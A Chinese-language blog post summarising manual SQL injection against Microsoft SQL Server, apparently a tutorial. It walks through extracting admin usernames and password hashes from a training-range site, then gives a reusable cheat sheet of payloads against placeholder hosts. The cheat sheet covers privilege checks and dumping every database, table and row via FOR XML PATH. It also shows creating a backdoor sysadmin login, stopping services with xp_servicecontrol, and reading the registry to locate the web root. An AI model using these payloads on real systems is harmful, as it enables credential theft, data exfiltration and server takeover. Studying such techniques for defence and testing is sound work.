1. 程式人生 > 實用技巧 >mssql 手工注入流程小結

mssql 手工注入流程小結

對於MSSQL的注入點,無外乎這三種許可權:SA,DB_OENER,PUBLIC。SA(System Admin)許可權我們可以直接執行命令,DB_OENER許可權的話,我們可以找到WEB的路徑,然後用備份的方式得到webshell,有時也可以對登入檔進行操作。PUBLIC許可權的話,又要面對表和列了,不過MSSQL比ACCESS的“猜”表方便許多,這裡是“暴”表,使目標直接暴出來。

手工注入測試

這裡我用墨者學院的靶場作為例子,來詳細介紹一下每一步命令的原理。

第一步:查詢注入點 http://219.153.49.228:40603/new_list.asp?id=2 and 1=1 頁面返回正常說明存在注入點。

這裡和mysql一樣的判斷方式

第二步:查詢列數 http://219.153.49.228:40603/new_list.asp?id=2 order by 1成功 ;order by 2 成功;order by 3 失敗; order by 4 成功;order by 5 失敗 說明列數位於 3-4之間。

第三步:查找回顯點 http://219.153.49.228:40603/new_list.asp?id=2 and 1=2 union all select null,null,null,null;挨個替換null 發現 select null,2,null,null 頁面出現回顯。

這裡的1=2是將前面的查詢結果變為假把位置騰出來顯示我們後面進行查詢的結果。union select不能用,就用union all select代替,UNION 內部的 SELECT 語句必須擁有相同數量的列。列也必須擁有相似的資料型別。同時,每條 SELECT 語句中的列的順序必須相同。區別就是union all查詢的結果是允許重複的。mssql裡不能用數字作為佔位符,只能用null


第四步:檢視資料庫版本?id=2 and 1=2 union all select 1,(SERVERPROPERTY('edition')),'3',4;或者?id=2 and 1=2 union all select 1,(@@version),'3',4。查詢所在庫名稱新增: ?id=2 and 1=2 union all select 1,(select db_name()), '3', 4 找到資料庫名稱。

提示:這裡也可以使用db_name(1)、db_name(2)等查詢其他資料庫。(這裡加'號是為了讓資料型別一致)。SQL Server Express Edition(僅適用於bai 32 位)——學習版SQL Server Express 資料庫平臺基於 SQL Server 2005。






第五步:查詢資料庫表名稱:?id=2 and 1=2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype = 'U'),'3',4 提示: xtype='U' 為 使用者表

Top關鍵字:由於MSSQL中不存在limit,那麼想要輸出一條資料直接top 1,輸出兩條資料top 2,輸出第二條資料top 1+限制條件。關於dbo.的意思參考,在MSSQL中每個庫都有一個系統自帶表-->sysobjects此係統表中對我們有用的只有3個欄位,NAME欄位和XTYPE欄位和ID欄位,name就是表名資訊,xtype是代表表的型別,只有兩個引數,S代表系統自帶表,U代表使用者建立的表,id欄位的值用來連線syscolumns表

第六步:查詢列名稱:?id=2 and 1=2 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),'3',4 替換 col_name(object_id('manage'),1) 中的1 依次為 2,3,4查出所有列名。

col_name(object_id('manage'),1)這句將指定表的指定列的列名顯示出來(col_name是系統函式,用法col_name(obj_id,col_id))

第七步:查取資料: ?id=2 and 1=2 union all select 1,(select top 1 username from manage),'3',4 獲取使用者名稱;?id=2 and 1=2 union all select 1,(select top 1 password from manage),'3',4 獲取密碼





第八步:MD5 解密

其他常用注入命令

確定資料庫型別:

http://www.xxx.xxx/xxx.asp?id=6 and user>0

http://www.xxx.xxx/xxx.asp?id=6 and (select count(*) from sysobjects)>0 //正常返回就是mssql資料庫

and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判斷是否是系統管理員

and 1=(Select IS_MEMBER('db_owner')) //判斷是否是庫許可權

and 1= (Select HAS_DBACCESS('master')) //判斷是否有庫讀取許可權

and exists(select * from tableName) //判斷某表是否存在..tableName為表名

and 1=(select @@VERSION) //MSSQL版本

And 1=(select db_name()) //當前資料庫名

and 1=(select @@servername) //本地服務名

獲取資料庫 (該語句是一次性獲取全部資料庫的,且語句只適合>=2005,兩條語句可供選擇使用)

and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))--

and 1=(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))--

獲取當前資料庫

and db_name()>0

獲取當前資料庫中的表(有2個語句可供選擇使用)【下列語句可一次爆資料庫所有表(只限於mssql2005及以上版本)】

and 1=(select quotename(name) from 資料庫名..sysobjects where xtype='U' FOR XML PATH(''))--

and 1=(select '|'%2bname%2b'|' from 資料庫名..sysobjects where xtype='U' FOR XML PATH(''))--

逐條爆指定表的所有欄位的資料(只限於mssql2005及以上版本):

and 1=(select top 1 * from 指定資料庫..指定表名 where FOR XML PATH(''))--

一次性爆N條所有欄位的資料(只限於mssql2005及以上版本):

and 1=(select top N * from 指定資料庫..指定表名 FOR XML PATH(''))--

新增和刪除一個SA許可權的使用者test:(需要SA許可權)

exec master.dbo.sp_addlogin test,password

exec master.dbo.sp_addsrvrolemember test,sysadmin

停掉或啟用某個服務。 (需要SA許可權)

exec master..xp_servicecontrol 'stop','schedule'

exec master..xp_servicecontrol 'start','schedule'

暴網站目錄

create table labeng(lala nvarchar(255), id int)
DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/',@result output insert into labeng(lala) values(@result); and 1=(select top 1 lala from labeng) 或者and 1=(select count(*) from labeng where lala>1)